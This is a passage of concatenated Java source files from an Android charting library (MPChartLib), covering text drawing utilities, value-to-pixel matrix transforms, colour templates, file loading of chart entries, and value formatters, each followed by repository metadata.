drawOffsetX -= mDrawTextRectBuffer.width() * anchor.x;
drawOffsetY -= lineHeight * anchor.y;
}
drawOffsetX += x;
drawOffsetY += y;
c.drawText(text, drawOffsetX, drawOffsetY, paint);
}
paint.setTextAlign(originalTextAlign);
}
public static void drawMultilineText(Canvas c, StaticLayout textLayout,
float x, float y,
TextPaint paint,
PointF anchor, float angleDegrees) {
float drawOffsetX = 0.f;
float drawOffsetY = 0.f;
float drawWidth;
float drawHeight;
final float lineHeight = paint.getFontMetrics(mFontMetricsBuffer);
drawWidth = textLayout.getWidth();
drawHeight = textLayout.getLineCount() * lineHeight;
// Android sometimes has pre-padding
drawOffsetX -= mDrawTextRectBuffer.left;
// Android does not snap the bounds to line boundaries,
// and draws from bottom to top.
// And we want to normalize it.
drawOffsetY += drawHeight;
// To have a consistent point of reference, we always draw left-aligned
Paint.Align originalTextAlign = paint.getTextAlign();
paint.setTextAlign(Paint.Align.LEFT);
if (angleDegrees != 0.f) {
// Move the text drawing rect in a way that it always rotates around its center
drawOffsetX -= drawWidth * 0.5f;
drawOffsetY -= drawHeight * 0.5f;
float translateX = x;
float translateY = y;
// Move the "outer" rect relative to the anchor, assuming its centered
if (anchor.x != 0.5f || anchor.y != 0.5f) {
final FSize rotatedSize = getSizeOfRotatedRectangleByDegrees(
drawWidth,
drawHeight,
angleDegrees);
translateX -= rotatedSize.width * (anchor.x - 0.5f);
translateY -= rotatedSize.height * (anchor.y - 0.5f);
}
c.save();
c.translate(translateX, translateY);
c.rotate(angleDegrees);
c.translate(drawOffsetX, drawOffsetY);
textLayout.draw(c);
c.restore();
} else {
if (anchor.x != 0.f || anchor.y != 0.f) {
drawOffsetX -= drawWidth * anchor.x;
drawOffsetY -= drawHeight * anchor.y;
}
drawOffsetX += x;
drawOffsetY += y;
c.save();
c.translate(drawOffsetX, drawOffsetY);
textLayout.draw(c);
c.restore();
}
paint.setTextAlign(originalTextAlign);
}
public static void drawMultilineText(Canvas c, String text,
float x, float y,
TextPaint paint,
FSize constrainedToSize,
PointF anchor, float angleDegrees) {
StaticLayout textLayout = new StaticLayout(
text, 0, text.length(),
paint,
(int) Math.max(Math.ceil(constrainedToSize.width), 1.f),
Layout.Alignment.ALIGN_NORMAL, 1.f, 0.f, false);
drawMultilineText(c, textLayout, x, y, paint, anchor, angleDegrees);
}
public static FSize getSizeOfRotatedRectangleByDegrees(FSize rectangleSize, float degrees) {
final float radians = degrees * FDEG2RAD;
return getSizeOfRotatedRectangleByRadians(rectangleSize.width, rectangleSize.height,
radians);
}
public static FSize getSizeOfRotatedRectangleByRadians(FSize rectangleSize, float radians) {
return getSizeOfRotatedRectangleByRadians(rectangleSize.width, rectangleSize.height,
radians);
}
public static FSize getSizeOfRotatedRectangleByDegrees(float rectangleWidth, float
rectangleHeight, float degrees) {
final float radians = degrees * FDEG2RAD;
return getSizeOfRotatedRectangleByRadians(rectangleWidth, rectangleHeight, radians);
}
public static FSize getSizeOfRotatedRectangleByRadians(float rectangleWidth, float
rectangleHeight, float radians) {
return new FSize(
Math.abs(rectangleWidth * (float) Math.cos(radians)) + Math.abs(rectangleHeight *
(float) Math.sin(radians)),
Math.abs(rectangleWidth * (float) Math.sin(radians)) + Math.abs(rectangleHeight *
(float) Math.cos(radians))
);
}
public static int getSDKInt() {
return Build.VERSION.SDK_INT;
}
/**
* Calculates the granularity (minimum axis interval) based on axis range and labelcount.
* Default granularity is 1/10th of interval.
*
* @param range
* @param labelCount
* @return
*/
public static double granularity(float range, int labelCount) {
// Find out how much spacing (in y value space) between axis values
double rawInterval = range / labelCount;
double interval = Utils.roundToNextSignificant(rawInterval);
// Normalize interval
double intervalMagnitude = Utils.roundToNextSignificant(Math.pow(10, (int) Math.log10
(interval)));
int intervalSigDigit = (int) (interval / intervalMagnitude);
if (intervalSigDigit > 5) {
interval = Math.floor(10 * intervalMagnitude);
}
return interval * 0.1; // granularity is 1/10th of interval
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/utils/Utils.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 5,750 |
```java
package com.github.mikephil.charting.utils;
import android.graphics.Matrix;
import android.graphics.Path;
import android.graphics.RectF;
import com.github.mikephil.charting.data.BarData;
import com.github.mikephil.charting.data.CandleEntry;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.interfaces.datasets.IBarDataSet;
import com.github.mikephil.charting.interfaces.datasets.IBubbleDataSet;
import com.github.mikephil.charting.interfaces.datasets.ICandleDataSet;
import com.github.mikephil.charting.interfaces.datasets.ILineDataSet;
import com.github.mikephil.charting.interfaces.datasets.IScatterDataSet;
import java.util.List;
/**
* Transformer class that contains all matrices and is responsible for
* transforming values into pixels on the screen and backwards.
*
* @author Philipp Jahoda
*/
public class Transformer {
/**
* matrix to map the values to the screen pixels
*/
protected Matrix mMatrixValueToPx = new Matrix();
/**
* matrix for handling the different offsets of the chart
*/
protected Matrix mMatrixOffset = new Matrix();
protected ViewPortHandler mViewPortHandler;
public Transformer(ViewPortHandler viewPortHandler) {
this.mViewPortHandler = viewPortHandler;
}
/**
* Prepares the matrix that transforms values to pixels. Calculates the
* scale factors from the charts size and offsets.
*
* @param xChartMin
* @param deltaX
* @param deltaY
* @param yChartMin
*/
public void prepareMatrixValuePx(float xChartMin, float deltaX, float deltaY, float yChartMin) {
float scaleX = (float) (mViewPortHandler.contentWidth() / deltaX);
float scaleY = (float) (mViewPortHandler.contentHeight() / deltaY);
if (Float.isInfinite(scaleX))
{
scaleX = 0;
}
if (Float.isInfinite(scaleY))
{
scaleY = 0;
}
// setup all matrices
mMatrixValueToPx.reset();
mMatrixValueToPx.postTranslate(-xChartMin, -yChartMin);
mMatrixValueToPx.postScale(scaleX, -scaleY);
}
/**
* Prepares the matrix that contains all offsets.
*
* @param inverted
*/
public void prepareMatrixOffset(boolean inverted) {
mMatrixOffset.reset();
// offset.postTranslate(mOffsetLeft, getHeight() - mOffsetBottom);
if (!inverted)
mMatrixOffset.postTranslate(mViewPortHandler.offsetLeft(),
mViewPortHandler.getChartHeight() - mViewPortHandler.offsetBottom());
else {
mMatrixOffset
.setTranslate(mViewPortHandler.offsetLeft(), -mViewPortHandler.offsetTop());
mMatrixOffset.postScale(1.0f, -1.0f);
}
// mMatrixOffset.set(offset);
// mMatrixOffset.reset();
//
// mMatrixOffset.postTranslate(mOffsetLeft, getHeight() -
// mOffsetBottom);
}
/**
* Transforms an List of Entry into a float array containing the x and
* y values transformed with all matrices for the SCATTERCHART.
*
* @param data
* @return
*/
public float[] generateTransformedValuesScatter(IScatterDataSet data,
float phaseY) {
float[] valuePoints = new float[data.getEntryCount() * 2];
for (int j = 0; j < valuePoints.length; j += 2) {
Entry e = data.getEntryForIndex(j / 2);
if (e != null) {
valuePoints[j] = e.getXIndex();
valuePoints[j + 1] = e.getVal() * phaseY;
}
}
getValueToPixelMatrix().mapPoints(valuePoints);
return valuePoints;
}
/**
* Transforms an List of Entry into a float array containing the x and
* y values transformed with all matrices for the BUBBLECHART.
*
* @param data
* @return
*/
public float[] generateTransformedValuesBubble(IBubbleDataSet data,
float phaseX, float phaseY, int from, int to) {
final int count = (int) Math.ceil(to - from) * 2; // (int) Math.ceil((to - from) * phaseX) * 2;
float[] valuePoints = new float[count];
for (int j = 0; j < count; j += 2) {
Entry e = data.getEntryForIndex(j / 2 + from);
if (e != null) {
valuePoints[j] = (float) (e.getXIndex() - from) * phaseX + from;
valuePoints[j + 1] = e.getVal() * phaseY;
}
}
getValueToPixelMatrix().mapPoints(valuePoints);
return valuePoints;
}
/**
* Transforms an List of Entry into a float array containing the x and
* y values transformed with all matrices for the LINECHART.
*
* @param data
* @return
*/
public float[] generateTransformedValuesLine(ILineDataSet data,
float phaseX, float phaseY, int from, int to) {
final int count = (int) Math.ceil((to - from) * phaseX) * 2;
float[] valuePoints = new float[count];
for (int j = 0; j < count; j += 2) {
Entry e = data.getEntryForIndex(j / 2 + from);
if (e != null) {
valuePoints[j] = e.getXIndex();
valuePoints[j + 1] = e.getVal() * phaseY;
}
}
getValueToPixelMatrix().mapPoints(valuePoints);
return valuePoints;
}
/**
* Transforms an List of Entry into a float array containing the x and
* y values transformed with all matrices for the CANDLESTICKCHART.
*
* @param data
* @return
*/
public float[] generateTransformedValuesCandle(ICandleDataSet data,
float phaseX, float phaseY, int from, int to) {
final int count = (int) Math.ceil((to - from) * phaseX) * 2;
float[] valuePoints = new float[count];
for (int j = 0; j < count; j += 2) {
CandleEntry e = data.getEntryForIndex(j / 2 + from);
if (e != null) {
valuePoints[j] = e.getXIndex();
valuePoints[j + 1] = e.getHigh() * phaseY;
}
}
getValueToPixelMatrix().mapPoints(valuePoints);
return valuePoints;
}
/**
* Transforms an List of Entry into a float array containing the x and
* y values transformed with all matrices for the BARCHART.
*
* @param data
* @param dataSetIndex the dataset index
* @param bd
* @param phaseY
* @return
*/
public float[] generateTransformedValuesBarChart(IBarDataSet data,
int dataSetIndex, BarData bd, float phaseY) {
float[] valuePoints = new float[data.getEntryCount() * 2];
int setCount = bd.getDataSetCount();
float space = bd.getGroupSpace();
for (int j = 0; j < valuePoints.length; j += 2) {
Entry e = data.getEntryForIndex(j / 2);
int i = e.getXIndex();
// calculate the x-position, depending on datasetcount
float x = e.getXIndex() + i * (setCount - 1) + dataSetIndex + space * i
+ space / 2f;
float y = e.getVal();
valuePoints[j] = x;
valuePoints[j + 1] = y * phaseY;
}
getValueToPixelMatrix().mapPoints(valuePoints);
return valuePoints;
}
/**
* Transforms an List of Entry into a float array containing the x and
* y values transformed with all matrices for the BARCHART.
*
* @param data
* @param dataSet the dataset index
* @return
*/
public float[] generateTransformedValuesHorizontalBarChart(IBarDataSet data,
int dataSet, BarData bd, float phaseY) {
float[] valuePoints = new float[data.getEntryCount() * 2];
int setCount = bd.getDataSetCount();
float space = bd.getGroupSpace();
for (int j = 0; j < valuePoints.length; j += 2) {
Entry e = data.getEntryForIndex(j / 2);
int i = e.getXIndex();
// calculate the x-position, depending on datasetcount
float x = i + i * (setCount - 1) + dataSet + space * i
+ space / 2f;
float y = e.getVal();
valuePoints[j] = y * phaseY;
valuePoints[j + 1] = x;
}
getValueToPixelMatrix().mapPoints(valuePoints);
return valuePoints;
}
/**
* transform a path with all the given matrices VERY IMPORTANT: keep order
* to value-touch-offset
*
* @param path
*/
public void pathValueToPixel(Path path) {
path.transform(mMatrixValueToPx);
path.transform(mViewPortHandler.getMatrixTouch());
path.transform(mMatrixOffset);
}
/**
* Transforms multiple paths will all matrices.
*
* @param paths
*/
public void pathValuesToPixel(List<Path> paths) {
for (int i = 0; i < paths.size(); i++) {
pathValueToPixel(paths.get(i));
}
}
/**
* Transform an array of points with all matrices. VERY IMPORTANT: Keep
* matrix order "value-touch-offset" when transforming.
*
* @param pts
*/
public void pointValuesToPixel(float[] pts) {
mMatrixValueToPx.mapPoints(pts);
mViewPortHandler.getMatrixTouch().mapPoints(pts);
mMatrixOffset.mapPoints(pts);
}
/**
* Transform a rectangle with all matrices.
*
* @param r
*/
public void rectValueToPixel(RectF r) {
mMatrixValueToPx.mapRect(r);
mViewPortHandler.getMatrixTouch().mapRect(r);
mMatrixOffset.mapRect(r);
}
/**
* Transform a rectangle with all matrices with potential animation phases.
*
* @param r
* @param phaseY
*/
public void rectValueToPixel(RectF r, float phaseY) {
// multiply the height of the rect with the phase
r.top *= phaseY;
r.bottom *= phaseY;
mMatrixValueToPx.mapRect(r);
mViewPortHandler.getMatrixTouch().mapRect(r);
mMatrixOffset.mapRect(r);
}
/**
* Transform a rectangle with all matrices with potential animation phases.
*
* @param r
*/
public void rectValueToPixelHorizontal(RectF r) {
mMatrixValueToPx.mapRect(r);
mViewPortHandler.getMatrixTouch().mapRect(r);
mMatrixOffset.mapRect(r);
}
/**
* Transform a rectangle with all matrices with potential animation phases.
*
* @param r
* @param phaseY
*/
public void rectValueToPixelHorizontal(RectF r, float phaseY) {
// multiply the height of the rect with the phase
r.left *= phaseY;
r.right *= phaseY;
mMatrixValueToPx.mapRect(r);
mViewPortHandler.getMatrixTouch().mapRect(r);
mMatrixOffset.mapRect(r);
}
/**
* transforms multiple rects with all matrices
*
* @param rects
*/
public void rectValuesToPixel(List<RectF> rects) {
Matrix m = getValueToPixelMatrix();
for (int i = 0; i < rects.size(); i++)
m.mapRect(rects.get(i));
}
/**
* Transforms the given array of touch positions (pixels) (x, y, x, y, ...)
* into values on the chart.
*
* @param pixels
*/
public void pixelsToValue(float[] pixels) {
Matrix tmp = new Matrix();
// invert all matrixes to convert back to the original value
mMatrixOffset.invert(tmp);
tmp.mapPoints(pixels);
mViewPortHandler.getMatrixTouch().invert(tmp);
tmp.mapPoints(pixels);
mMatrixValueToPx.invert(tmp);
tmp.mapPoints(pixels);
}
/**
* Returns the x and y values in the chart at the given touch point
* (encapsulated in a PointD). This method transforms pixel coordinates to
* coordinates / values in the chart. This is the opposite method to
* getPixelsForValues(...).
*
* @param x
* @param y
* @return
*/
public PointD getValuesByTouchPoint(float x, float y) {
// create an array of the touch-point
float[] pts = new float[2];
pts[0] = x;
pts[1] = y;
pixelsToValue(pts);
double xTouchVal = pts[0];
double yTouchVal = pts[1];
return new PointD(xTouchVal, yTouchVal);
}
public Matrix getValueMatrix() {
return mMatrixValueToPx;
}
public Matrix getOffsetMatrix() {
return mMatrixOffset;
}
private Matrix mMBuffer1 = new Matrix();
public Matrix getValueToPixelMatrix() {
mMBuffer1.set(mMatrixValueToPx);
mMBuffer1.postConcat(mViewPortHandler.mMatrixTouch);
mMBuffer1.postConcat(mMatrixOffset);
return mMBuffer1;
}
private Matrix mMBuffer2 = new Matrix();
public Matrix getPixelToValueMatrix() {
getValueToPixelMatrix().invert(mMBuffer2);
return mMBuffer2;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/utils/Transformer.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 3,085 |
```java
package com.github.mikephil.charting.utils;
import android.content.res.Resources;
import android.graphics.Color;
import java.util.ArrayList;
import java.util.List;
/**
* Class that holds predefined color integer arrays (e.g.
* ColorTemplate.VORDIPLOM_COLORS) and convenience methods for loading colors
* from resources.
*
* @author Philipp Jahoda
*/
public class ColorTemplate {
/**
* an "invalid" color that indicates that no color is set
*/
public static final int COLOR_NONE = 0x00112233;
/**
* this "color" is used for the Legend creation and indicates that the next
* form should be skipped
*/
public static final int COLOR_SKIP = 0x00112234;
/**
* THE COLOR THEMES ARE PREDEFINED (predefined color integer arrays), FEEL
* FREE TO CREATE YOUR OWN WITH AS MANY DIFFERENT COLORS AS YOU WANT
*/
public static final int[] LIBERTY_COLORS = {
Color.rgb(207, 248, 246), Color.rgb(148, 212, 212), Color.rgb(136, 180, 187),
Color.rgb(118, 174, 175), Color.rgb(42, 109, 130)
};
public static final int[] JOYFUL_COLORS = {
Color.rgb(217, 80, 138), Color.rgb(254, 149, 7), Color.rgb(254, 247, 120),
Color.rgb(106, 167, 134), Color.rgb(53, 194, 209)
};
public static final int[] PASTEL_COLORS = {
Color.rgb(64, 89, 128), Color.rgb(149, 165, 124), Color.rgb(217, 184, 162),
Color.rgb(191, 134, 134), Color.rgb(179, 48, 80)
};
public static final int[] COLORFUL_COLORS = {
Color.rgb(193, 37, 82), Color.rgb(255, 102, 0), Color.rgb(245, 199, 0),
Color.rgb(106, 150, 31), Color.rgb(179, 100, 53)
};
public static final int[] VORDIPLOM_COLORS = {
Color.rgb(192, 255, 140), Color.rgb(255, 247, 140), Color.rgb(255, 208, 140),
Color.rgb(140, 234, 255), Color.rgb(255, 140, 157)
};
public static final int[] MATERIAL_COLORS = {
rgb("#2ecc71"), rgb("#f1c40f"), rgb("#e74c3c"), rgb("#3498db")
};
/**
* Converts the given hex-color-string to rgb.
*
* @param hex
* @return
*/
public static int rgb(String hex) {
int color = (int) Long.parseLong(hex.replace("#", ""), 16);
int r = (color >> 16) & 0xFF;
int g = (color >> 8) & 0xFF;
int b = (color >> 0) & 0xFF;
return Color.rgb(r, g, b);
}
/**
* Returns the Android ICS holo blue light color.
*
* @return
*/
public static int getHoloBlue() {
return Color.rgb(51, 181, 229);
}
public static int getColorWithAlphaComponent(int color, int alpha) {
return (color & 0xffffff) | ((alpha & 0xff) << 24);
}
/**
* turn an array of resource-colors (contains resource-id integers) into an
* array list of actual color integers
*
* @param r
* @param colors an integer array of resource id's of colors
* @return
*/
public static List<Integer> createColors(Resources r, int[] colors) {
List<Integer> result = new ArrayList<>();
for (int i : colors) {
result.add(r.getColor(i));
}
return result;
}
/**
* Turns an array of colors (integer color values) into an ArrayList of
* colors.
*
* @param colors
* @return
*/
public static List<Integer> createColors(int[] colors) {
List<Integer> result = new ArrayList<>();
for (int i : colors) {
result.add(i);
}
return result;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/utils/ColorTemplate.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 986 |
```java
package com.github.mikephil.charting.utils;
/**
* Point encapsulating two double values.
*
* @author Philipp Jahoda
*/
public class PointD {
public double x;
public double y;
public PointD(double x, double y) {
this.x = x;
this.y = y;
}
/**
* returns a string representation of the object
*/
@Override
public String toString() {
return "PointD, x: " + x + ", y: " + y;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/utils/PointD.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 116 |
```java
package com.github.mikephil.charting.utils;
/**
* Transformer class for the HorizontalBarChart.
*
* @author Philipp Jahoda
*/
public class TransformerHorizontalBarChart extends Transformer {
public TransformerHorizontalBarChart(ViewPortHandler viewPortHandler) {
super(viewPortHandler);
}
/**
* Prepares the matrix that contains all offsets.
*
* @param chart
*/
public void prepareMatrixOffset(boolean inverted) {
mMatrixOffset.reset();
// offset.postTranslate(mOffsetLeft, getHeight() - mOffsetBottom);
if (!inverted)
mMatrixOffset.postTranslate(mViewPortHandler.offsetLeft(),
mViewPortHandler.getChartHeight() - mViewPortHandler.offsetBottom());
else {
mMatrixOffset
.setTranslate(
-(mViewPortHandler.getChartWidth() - mViewPortHandler.offsetRight()),
mViewPortHandler.getChartHeight() - mViewPortHandler.offsetBottom());
mMatrixOffset.postScale(-1.0f, 1.0f);
}
// mMatrixOffset.set(offset);
// mMatrixOffset.reset();
//
// mMatrixOffset.postTranslate(mOffsetLeft, getHeight() -
// mOffsetBottom);
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/utils/TransformerHorizontalBarChart.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 258 |
```java
package com.github.mikephil.charting.utils;
import com.github.mikephil.charting.data.Entry;
import java.util.Comparator;
/**
* Comparator for comparing Entry-objects by their x-index.
* Created by philipp on 17/06/15.
*/
public class EntryXIndexComparator implements Comparator<Entry> {
@Override
public int compare(Entry entry1, Entry entry2) {
return entry1.getXIndex() - entry2.getXIndex();
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/utils/EntryXIndexComparator.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 99 |
```java
package com.github.mikephil.charting.utils;
import android.content.res.AssetManager;
import android.os.Environment;
import android.util.Log;
import com.github.mikephil.charting.data.BarEntry;
import com.github.mikephil.charting.data.Entry;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
/**
* Utilities class for interacting with the assets and the devices storage to
* load and save DataSet objects from and to .txt files.
*
* @author Philipp Jahoda
*/
public class FileUtils {
private static final String LOG = "MPChart-FileUtils";
/**
* Prevent class instantiation.
*/
private FileUtils() {
}
/**
* Loads a an Array of Entries from a textfile from the sd-card.
*
* @param path the name of the file on the sd-card (+ path if needed)
* @return
*/
public static List<Entry> loadEntriesFromFile(String path) {
File sdcard = Environment.getExternalStorageDirectory();
// Get the text file
File file = new File(sdcard, path);
List<Entry> entries = new ArrayList<>();
@SuppressWarnings("resource")
BufferedReader br = null;
try {
br = new BufferedReader(new FileReader(file));
String line;
while ((line = br.readLine()) != null) {
String[] split = line.split("#");
if (split.length <= 2) {
entries.add(new Entry(Float.parseFloat(split[0]), Integer.parseInt(split[1])));
} else {
float[] vals = new float[split.length - 1];
for (int i = 0; i < vals.length; i++) {
vals[i] = Float.parseFloat(split[i]);
}
entries.add(new BarEntry(vals, Integer.parseInt(split[split.length - 1])));
}
}
} catch (IOException e) {
Log.e(LOG, e.toString());
} finally {
if (br != null)
try {
br.close();
} catch (IOException e) {
Log.e(LOG, e.toString());
}
}
return entries;
// File sdcard = Environment.getExternalStorageDirectory();
//
// // Get the text file
// File file = new File(sdcard, path);
//
// List<Entry> entries = new ArrayList<Entry>();
// String label = "";
//
// try {
// @SuppressWarnings("resource")
// BufferedReader br = new BufferedReader(new FileReader(file));
// String line = br.readLine();
//
// // firstline is the label
// label = line;
//
// while ((line = br.readLine()) != null) {
// String[] split = line.split("#");
// entries.add(new Entry(Float.parseFloat(split[0]),
// Integer.parseInt(split[1])));
// }
// } catch (IOException e) {
// Log.e(LOG, e.toString());
// }
//
// DataSet ds = new DataSet(entries, label);
// return ds;
}
/**
* Loads an array of Entries from a textfile from the assets folder.
*
* @param am
* @param path the name of the file in the assets folder (+ path if needed)
* @return
*/
public static List<Entry> loadEntriesFromAssets(AssetManager am, String path) {
List<Entry> entries = new ArrayList<>();
BufferedReader reader = null;
try {
reader = new BufferedReader(
new InputStreamReader(am.open(path), "UTF-8"));
String line = reader.readLine();
while (line != null) {
// process line
String[] split = line.split("#");
if (split.length <= 2) {
entries.add(new Entry(Float.parseFloat(split[0]), Integer.parseInt(split[1])));
} else {
float[] vals = new float[split.length - 1];
for (int i = 0; i < vals.length; i++) {
vals[i] = Float.parseFloat(split[i]);
}
entries.add(new BarEntry(vals, Integer.parseInt(split[split.length - 1])));
}
line = reader.readLine();
}
} catch (IOException e) {
Log.e(LOG, e.toString());
} finally {
if (reader != null) {
try {
reader.close();
} catch (IOException e) {
Log.e(LOG, e.toString());
}
}
}
return entries;
// String label = null;
// List<Entry> entries = new ArrayList<Entry>();
//
// BufferedReader reader = null;
// try {
// reader = new BufferedReader(
// new InputStreamReader(am.open(path), "UTF-8"));
//
// // do reading, usually loop until end of file reading
// label = reader.readLine();
// String line = reader.readLine();
//
// while (line != null) {
// // process line
// String[] split = line.split("#");
// entries.add(new Entry(Float.parseFloat(split[0]),
// Integer.parseInt(split[1])));
// line = reader.readLine();
// }
// } catch (IOException e) {
// Log.e(LOG, e.toString());
//
// } finally {
//
// if (reader != null) {
// try {
// reader.close();
// } catch (IOException e) {
// Log.e(LOG, e.toString());
// }
// }
// }
//
// DataSet ds = new DataSet(entries, label);
// return ds;
}
/**
* Saves an Array of Entries to the specified location on the sdcard
*
* @param ds
* @param path
*/
public static void saveToSdCard(List<Entry> entries, String path) {
File sdcard = Environment.getExternalStorageDirectory();
File saved = new File(sdcard, path);
if (!saved.exists())
{
try
{
saved.createNewFile();
} catch (IOException e)
{
Log.e(LOG, e.toString());
}
}
BufferedWriter buf = null;
try
{
// BufferedWriter for performance, true to set append to file flag
buf = new BufferedWriter(new FileWriter(saved, true));
for (Entry e : entries) {
buf.append(e.getVal() + "#" + e.getXIndex());
buf.newLine();
}
} catch (IOException e)
{
Log.e(LOG, e.toString());
} finally
{
if (buf != null)
try {
buf.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
public static List<BarEntry> loadBarEntriesFromAssets(AssetManager am, String path) {
List<BarEntry> entries = new ArrayList<>();
BufferedReader reader = null;
try {
reader = new BufferedReader(
new InputStreamReader(am.open(path), "UTF-8"));
String line = reader.readLine();
while (line != null) {
// process line
String[] split = line.split("#");
entries.add(new BarEntry(Float.parseFloat(split[0]), Integer.parseInt(split[1])));
line = reader.readLine();
}
} catch (IOException e) {
Log.e(LOG, e.toString());
} finally {
if (reader != null) {
try {
reader.close();
} catch (IOException e) {
Log.e(LOG, e.toString());
}
}
}
return entries;
// String label = null;
// ArrayList<Entry> entries = new ArrayList<Entry>();
//
// BufferedReader reader = null;
// try {
// reader = new BufferedReader(
// new InputStreamReader(am.open(path), "UTF-8"));
//
// // do reading, usually loop until end of file reading
// label = reader.readLine();
// String line = reader.readLine();
//
// while (line != null) {
// // process line
// String[] split = line.split("#");
// entries.add(new Entry(Float.parseFloat(split[0]),
// Integer.parseInt(split[1])));
// line = reader.readLine();
// }
// } catch (IOException e) {
// Log.e(LOG, e.toString());
//
// } finally {
//
// if (reader != null) {
// try {
// reader.close();
// } catch (IOException e) {
// Log.e(LOG, e.toString());
// }
// }
// }
//
// DataSet ds = new DataSet(entries, label);
// return ds;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/utils/FileUtils.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 1,834 |
```java
package com.github.mikephil.charting.formatter;
import com.github.mikephil.charting.utils.ViewPortHandler;
/**
* Created by Philipp Jahoda on 14/09/15.
* Default formatter class for adjusting x-values before drawing them.
* This simply returns the original value unmodified.
*/
public class DefaultXAxisValueFormatter implements XAxisValueFormatter {
@Override
public String getXValue(String original, int index, ViewPortHandler viewPortHandler) {
return original; // just return original, no adjustments
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/formatter/DefaultXAxisValueFormatter.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 114 |
```java
package com.github.mikephil.charting.formatter;
import com.github.mikephil.charting.data.Entry;
/**
* Interface that can be used to return a customized color instead of setting
* colors via the setColor(...) method of the DataSet.
*
* @author Philipp Jahoda
*/
public interface ColorFormatter {
int getColor(Entry e, int index);
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/formatter/ColorFormatter.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 76 |
```java
package com.github.mikephil.charting.formatter;
import com.github.mikephil.charting.components.YAxis;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.utils.ViewPortHandler;
import java.text.DecimalFormat;
/**
* This ValueFormatter is just for convenience and simply puts a "%" sign after
* each value. (Recommeded for PieChart)
*
* @author Philipp Jahoda
*/
public class PercentFormatter implements ValueFormatter, YAxisValueFormatter {
protected DecimalFormat mFormat;
public PercentFormatter() {
mFormat = new DecimalFormat("###,###,##0.0");
}
/**
* Allow a custom decimalformat
*
* @param format
*/
public PercentFormatter(DecimalFormat format) {
this.mFormat = format;
}
// ValueFormatter
@Override
public String getFormattedValue(float value, Entry entry, int dataSetIndex, ViewPortHandler viewPortHandler) {
return mFormat.format(value) + " %";
}
// YAxisValueFormatter
@Override
public String getFormattedValue(float value, YAxis yAxis) {
return mFormat.format(value) + " %";
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/formatter/PercentFormatter.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 261 |
```java
package com.github.mikephil.charting.formatter;
import com.github.mikephil.charting.components.YAxis;
import java.text.DecimalFormat;
/**
* Created by Philipp Jahoda on 20/09/15.
* Default formatter used for formatting labels of the YAxis. Uses a DecimalFormat with
* pre-calculated number of digits (depending on max and min value).
*/
public class DefaultYAxisValueFormatter implements YAxisValueFormatter {
/** decimalformat for formatting */
private DecimalFormat mFormat;
/**
* Constructor that specifies to how many digits the value should be
* formatted.
*
* @param digits
*/
public DefaultYAxisValueFormatter(int digits) {
StringBuilder b = new StringBuilder();
for (int i = 0; i < digits; i++) {
if (i == 0)
b.append(".");
b.append("0");
}
mFormat = new DecimalFormat("###,###,###,##0" + b.toString());
}
@Override
public String getFormattedValue(float value, YAxis yAxis) {
// avoid memory allocations here (for performance)
return mFormat.format(value);
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/formatter/DefaultYAxisValueFormatter.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 248 |
```java
package com.github.mikephil.charting.formatter;
import com.github.mikephil.charting.components.YAxis;
/**
* Created by Philipp Jahoda on 20/09/15.
* Custom formatter interface that allows formatting of
* YAxis labels before they are being drawn.
*/
public interface YAxisValueFormatter {
/**
* Called when a value from the YAxis is formatted
* before being drawn. For performance reasons, avoid excessive calculations
* and memory allocations inside this method.
*
* @param value the YAxis value to be formatted
* @param yAxis the YAxis object the value belongs to
* @return
*/
String getFormattedValue(float value, YAxis yAxis);
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/formatter/YAxisValueFormatter.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 153 |
```java
package com.github.mikephil.charting.formatter;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.utils.ViewPortHandler;
/**
* Interface that allows custom formatting of all values inside the chart before they are
* being drawn to the screen. Simply create your own formatting class and let
* it implement ValueFormatter. Then override the getFormattedValue(...) method
* and return whatever you want.
*
* @author Philipp Jahoda
*/
public interface ValueFormatter {
/**
* Called when a value (from labels inside the chart) is formatted
* before being drawn. For performance reasons, avoid excessive calculations
* and memory allocations inside this method.
*
* @param value the value to be formatted
